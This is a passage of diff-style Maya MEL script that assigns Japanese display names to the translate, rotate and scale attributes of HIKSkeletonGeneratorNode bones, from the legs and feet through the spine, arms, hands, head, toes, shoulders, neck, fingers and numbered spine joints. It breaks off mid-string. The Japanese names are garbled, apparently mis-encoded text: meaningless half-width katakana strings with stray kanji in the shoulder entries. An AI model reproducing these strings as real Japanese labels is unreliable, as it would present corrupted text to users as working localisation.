+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSy", "ラスナヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSz", "ラスナヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegT", "モメエヘネニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTx", "モメエヘネニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTy", "モメエヘネニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTz", "モメエヘネニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegR", "モメエヘネミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRx", "モメエヘネミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRy", "モメエヘネミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRz", "モメエヘネミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegS", "モメエヘネヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSx", "モメエヘネヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSy", "モメエヘネヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSz", "モメエヘネヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegT", "モメヘネニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTx", "モメヘネニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTy", "モメヘネニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTz", "モメヘネニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegR", "モメヘネミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRx", "モメヘネミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRy", "モメヘネミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRz", "モメヘネミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegS", "モメヘネヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSx", "モメヘネヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSy", "モメヘネヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSz", "モメヘネヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootT", "モメスナニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTx", "モメスナニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTy", "モメスナニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTz", "モメスナニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootR", "モメスナミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRx", "モメスナミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRy", "モメスナミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRz", "モメスナミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootS", "モメスナヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSx", "モメスナヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSy", "モメスナヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSz", "モメスナヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineT", "シケラオニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTx", "シケラオニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTy", "シケラオニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTz", "シケラオニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineR", "シケラオミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRx", "シケラオミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRy", "シケラオミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRz", "シケラオミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineS", "シケラオヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSx", "シケラオヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSy", "シケラオヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSz", "シケラオヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmT", "ラアロニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTx", "ラアロニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTy", "ラアロニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTz", "ラアロニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmR", "ラアロミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRx", "ラアロミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRy", "ラアロミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRz", "ラアロミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmS", "ラアロヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSx", "ラアロヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSy", "ラアロヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSz", "ラアロヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmT", "ラヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTx", "ラヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTy", "ラヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTz", "ラヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmR", "ラヌーアロミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRx", "ラヌーアロミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRy", "ラヌーアロミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRz", "ラヌーアロミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmS", "ラヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSx", "ラヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSy", "ラヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSz", "ラヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandT", "ラハヨニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTx", "ラハヨニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTy", "ラハヨニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTz", "ラハヨニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandR", "ラハヨミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRx", "ラハヨミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRy", "ラハヨミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRz", "ラハヨミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandS", "ラハヨヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSx", "ラハヨヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSy", "ラハヨヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSz", "ラハヨヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmT", "モメアロニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTx", "モメアロニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTy", "モメアロニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTz", "モメアロニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmR", "モメアロミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRx", "モメアロミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRy", "モメアロミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRz", "モメアロミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmS", "モメアロヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSx", "モメアロヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSy", "モメアロヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSz", "モメアロヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmT", "モメヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTx", "モメヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTy", "モメヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTz", "モメヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmR", "モメヌーアロミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRx", "モメヌーアロミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRy", "モメヌーアロミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRz", "モメヌーアロミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmS", "モメヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSx", "モメヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSy", "モメヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSz", "モメヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandT", "モメハヨニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTx", "モメハヨニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTy", "モメハヨニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTz", "モメハヨニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandR", "モメハヨミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRx", "モメハヨミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRy", "モメハヨミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRz", "モメハヨミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandS", "モメハヨヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSx", "モメハヨヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSy", "モメハヨヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSz", "モメハヨヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadT", "ヘキイソニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTx", "ヘキイソニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTy", "ヘキイソニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTz", "ヘキイソニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadR", "ヘキイソミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRx", "ヘキイソミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRy", "ヘキイソミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRz", "ヘキイソミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadS", "ヘキイソヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSx", "ヘキイソヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSy", "ヘキイソヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSz", "ヘキイソヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseT", "ラスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTx", "ラスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTy", "ラスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTz", "ラスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseR", "ラスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRx", "ラスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRy", "ラスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRz", "ラスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseS", "ラスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSx", "ラスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSy", "ラスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSz", "ラスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseT", "モメスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTx", "モメスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTy", "モメスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTz", "モメスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseR", "モメスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRx", "モメスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRy", "モメスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRz", "モメスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseS", "モメスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSx", "モメスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSy", "モメスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSz", "モメスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderT", "ラシ酥スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTx", "ラシ酥スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTy", "ラシ酥スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTz", "ラシ酥スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderR", "ラシ醪ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRx", "ラシ醪ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRy", "ラシ醪ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRz", "ラシ醪ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderS", "ラシ醉キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSx", "ラシ醉キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSy", "ラシ醉キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSz", "ラシ醉キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderT", "モメシ酥スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTx", "モメシ酥スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTy", "モメシ酥スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTz", "モメシ酥スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderR", "モメシ醪ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRx", "モメシ醪ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRy", "モメシ醪ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRz", "モメシ醪ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderS", "モメシ醉キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSx", "モメシ醉キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSy", "モメシ醉キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSz", "モメシ醉キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckT", "セアイソニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTx", "セアイソニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTy", "セアイソニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTz", "セアイソニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckR", "セアイソミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRx", "セアイソミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRy", "セアイソミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRz", "セアイソミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckS", "セアイソヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSx", "セアイソヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSy", "セアイソヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSz", "セアイソヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseT", "ラハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTx", "ラハヨヨククニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTy", "ラハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTz", "ラハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseR", "ラハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRx", "ラハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRy", "ラハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRz", "ラハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseS", "ラハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSx", "ラハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSy", "ラハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSz", "ラハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseT", "モメハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTx", "モメハヨヨククニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTy", "モメハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTz", "モメハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseR", "モメハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRx", "モメハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRy", "モメハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRz", "モメハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseS", "モメハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSx", "モメハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSy", "モメハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSz", "モメハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1T", "シケラオ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Tx", "シケラオ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Ty", "シケラオ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Tz", "シケラオ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1R", "シケラオ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Rx", "シケラオ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Ry", "シケラオ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Rz", "シケラオ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1S", "シケラオ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sx", "シケラオ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sy", "シケラオ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sz", "シケラオ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2T", "シケラオ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Tx", "シケラオ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Ty", "シケラオ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Tz", "シケラオ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2R", "シケラオ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Rx", "シケラオ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Ry", "シケラオ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Rz", "シケラオ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2S", "シケラオ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sx", "シケラオ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sy", "シケラオ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sz", "シケラオ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3T", "シケラオ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Tx", "シケラオ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Ty", "シケラオ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Tz", "シケラオ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3R", "シケラオ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Rx", "シケラオ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Ry", "シケラオ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Rz", "シケラオ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3S", "シケラオ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sx", "シケラオ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sy", "シケラオ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sz", "シケラオ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4T", "シケラオ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Tx", "シケラオ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Ty", "シケラオ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Tz", "シケラオ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4R", "シケラオ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Rx", "シケラオ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Ry", "シケラオ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Rz", "シケラオ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4S", "シケラオ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sx", "シケラオ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sy", "シケラオ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sz", "シケラオ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5T", "シケラオ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Tx", "シケラオ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Ty", "シケラオ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Tz", "シケラオ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5R", "シケラオ 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Rx", "シケラオ 5 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Ry", "シケラオ 5 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Rz", "シケラオ 5 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5S", "シケラオ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sx", "シケラオ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sy", "シケラオ 5 